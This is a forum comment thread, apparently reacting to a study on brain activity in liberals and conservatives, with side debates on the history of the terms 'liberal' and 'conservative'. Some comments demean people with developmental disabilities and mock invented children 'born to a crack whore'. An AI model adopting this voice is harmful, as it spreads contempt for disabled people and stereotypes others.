One question would be, who and where did they get the subjects and how did they decide who is liberal and conservative? Was it self described? And are they talking about liberal v. conservatism in general or politically, financially, religiously or what? I know a guy who is more conservative then Pat Buchanan except for he doesn't hold anything against gays and thinks they should be able to marry a goat if they wanted to. Would he be considered a liberal? He considers himself one.
Another question would be, I see that they have equated more brain noise with liberals and more accurate results with liberals but have they showed that more brain activity means more accurate results? The statement that liberals were more accurate and showed more brain activity doesn't support this idea or more brain activity mean more accuracy directly. The accuracy could very well have been because of more educated liberals liberal in the study as well as the less brain activity liberals scoring more accuracy then the conservatives.
Yet another question is the background or environmental factors such in the type of questioning. Why was W selected as a test parameter when GW Bush is the root of all evil for a lot of liberals. Wouldn't this imply that just recognizing the W could be because they have had a lot of practice in separating GHB (George Herbert walker bush) from GWB (George Walker Bush) in the rants about how evil he is? And could the extra brain activity be misrepresenting of the hatred and bagged emotions that GW brings around? I mean they were looking at the portion of the brain that deals with conflict.
But from a relative perspective, they claim 4.9 times as many liberals would register this activity to achieve a 2.2 times accuracy increase. If we were to assign value to this in a random fashon without all the answers to the questions I asked (and probable a lot more), it would mean that the Accurate conservatives used less effort to achieve accurate results and the liberal have to spend a disproportionate level of brain activity to achieve small levels of accuracy.
I don't think either of us have enough details to makes accurate predictions over the study. Yea, I have seen that too. It gets used a lot to avoid political discussions that drag on and on where the point is usually some instigator thinking he is better then you. That or they attempt to insult you in the process. They are usually Some people get to be know for starting political fights for the sake of shouting their views and demanding that they are right. It doesn't take too many times before they default to an answer that the instigator cannot respond to. I agree with his morals when the question was about policies doesn't let the instigator to shape the conversation in a way he can control. This usually stops them from continuing the conversation and being annoying in a polite manor. It is an easy out for republicans/conservatives that wouldn't necessarily work for liberals because the republican/conservative would likely be just as happy discussing the morals instead. They got a lot of practice when Clinton was in office.
If it were me, I would simply say I agree with most of his policies but don't like some of the ways they were implemented. I couldn't say all of his policies because I am sure there are some I have missed. And most people would agree that the sentiment behind a lot of his policies are good and agreeable but the implementation had gotten all fucked up.
Read through all the user comments on the article... The vast majority of them are COCKSURE. It's a human tendency that we should try to overcome. Conservatives tend to exhibit this headlong stubbornness more so than liberals. But, it exists in all of us. "Don't let overconfidence consume THEE!" (+10 pts to whomever remembers what old Mac video game that quote is from) Quick thinking is rarely a sign of wisdom. I think wisdom and critical thinking are best measured by a person's ability to put on the brakes when they think they have formed a conclusion and continuously go back up their decision-tree to revisit assumptions. And, put their ego aside. No one likes to be wrong... just watch how angry I get when someone trolls this post.
all males are butchers
Isn't that a premise of radical feminism?
Thanks to the internet, we can now all die alone together! -SomeWoman
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There's not a problem with nuance, it's that, for example, it's not practical to proceed doing something unless your path is clear.
As an example, the drinking age is 21 in every state in the U.S. (as far as I recall). Now, there are obviously people under the age of 21 who are responsibile enough to drink, and there are obviously people over the age of 21 who are not. Moreover, a store can lose it's license by selling someone alcohol at 11:59pm the day before the purchasers birthday, as if one minute, or one day, or even one week really changes anything.
But it's simply not practical to say, for example, test everyone and give them a license just to buy alcohol (or cigarettes).
You can't "kind of, sort of" decide to go to war... this was a problem in Vietnam and also in Iraq. It doesn't matter how whether or not you agreed with it, but if you're going to do it, you need to do it and not restrain yourselves to try to look better in the eyes of the media while the problem festers and grows. War is a horrible, mean, vicious endeavour that should never be gotten into lightly - but if you do it, you need to be horrible, mean, and vicious.
On the other hand, there are debates that certainly can, and must be, more nuanced. Abortion, for example. People full tilt to the left want abortion on demand at any point in the pregnancy for any reason. People full tilt to the right want abortion banned for any reason whatsoever. But the vast majority of both conservatives and liberals are certainly somewhere in the middle... the vast majority of people have a nuanced opinion on the subject.
So, being a conservative leaning libertarian, I'd suggest that conservatives maybe often see things in black and white when it's prudent to do so, and that's why you cannot be for the war before you were against it, or voted for the war and now want to withdraw funding for the troops. All that says to me is that you did not seriously consider your original vote before casting it. That's not "nuanced," that's just wrong.
Stupid sexy Flanders.
You can have a strong dislike for Israel without being a "jew-hater." Do NOT confuse anti-semitism with dislike for a country's policies or divisiveness.
Actually one of the symptoms / characteristics of extremely low IQ (developmental disability) is rigid thinking. Job coaching DD clients is quite challenging, as once they get a concept in their heads it is extremely hard to dislodge, they fixate on it. Much like many conservatives I know. I'm just sayin'.
That's certainly true, which is why dating conservatives is so boring.
Recursive: Adj. See Recursive.
Liberal parties are called Liberal parties in Commonwealth countries because capitalism was originally a liberal ideology, as opposed to the state-controlled merchantilist economies that preceded it. These were not socialist, but probably what you'd consider even more "capitalist"; government supporting particular large corporations for the purposes of consolidating power in the hands of the ruling elite of the nation in question. Free market capitalism arose as a part of the general liberal movement against government authority; that sort of pro-market attitude which was classically called liberalism is today also known as (surprise) "classical liberalism" or, in the United States, libertarianism. Newer movements have since co-opted the name "liberal" for themselves, despite promoting often illiberal agendas, and labeled the older liberal movement (accurately) "conservative"; though in the US at least, large portions of those classically liberal conservatives have somehow become entangled with the sort of authoritarian conservatives that the original liberalism was rebelling against.
Liberal and Conservative are not antonyms. "Liberal" just means in favor of liberty, and its antonym is "authoritarian". "Conservative" just means in favor of the status quo, and its antonym is "progressive". When liberal democracies first started arising out of the mire of medieval monarchies and aristocracies, the liberals were progressive, because the status quo was highly authoritarian, and so authoritarians were rightly called conservative. Thus the terms "liberal" and "conservative" functioned like antonyms for a time; but only because the liberals happened to be the new guys (the progressives) and the conservatives (the establishment) happened to be authoritarian.
Eventually the progressive liberals mostly won out, but the societies they built still weren't satisfactory for everyone (viz. the pitfalls of so-called "actually existing capitalism", as opposed to the peaceful, voluntarist, competitive free markets that classical liberal authors dreamt of). So new movements, mainly socialism, continued to push for further change, in many ways changing back away from liberal ideals to more authoritarian ones, just intending to use that authority more benevolently. But the terminology didn't keep up with that. The people pushing for more authority (to be used benevolently) still call themselves "liberals". Further confusing the issue is that in addition to the liberals who are now conservative in comparison to socialists, there are still also the old elitist authoritarians who are even more conservative - though I guess a more apt term for them would be "regressive", as they want to change many things back to how they used to be long ago. Still adding further confusion to the issue, in America at least, is that the "progressive" socialists and the "regressive" old conservatives have made enough headway by now that the people who originally called themselves "conservatives" (now more often called "libertarians"), wanting to keep this country liberal as it was founded, are now in many ways progressive, or even regressive; wanting to change things from the now-authoritarian status quo, back to the liberal way things used to be. And all of this hides the issue that both libertarians and authoritarians can be subdivided on the issue of egalitarianism (though the split between the old aristocratic authoritarians and the new socialist authoritarians hints at this).
I find that the simplest way to clear up all the confusion is to stop all the talk about progressive or conservative, as those terms are entirely time-relative and imply different things now than they did a hundred years ago, and have even less in common with what they implied two or three hundred years ago, even though the words literally *mean* the same thing in all those times (i.e. someone who is in fact [not self-labeled] conservative now holds an ideology very different from someone who was in fact conservative 100 years ago, because the status quo now is very
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Tellysavalliskojak Johnson, of Bartholomew, Illinois. He was born to a crack whore in a squalid apartment on fourth street. (His sister, Imaginemyjoy, also had no opportunity.)
There. I've named two.
Out of millions.
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A cop is neither a man nor a woman? What the hell are they? O_o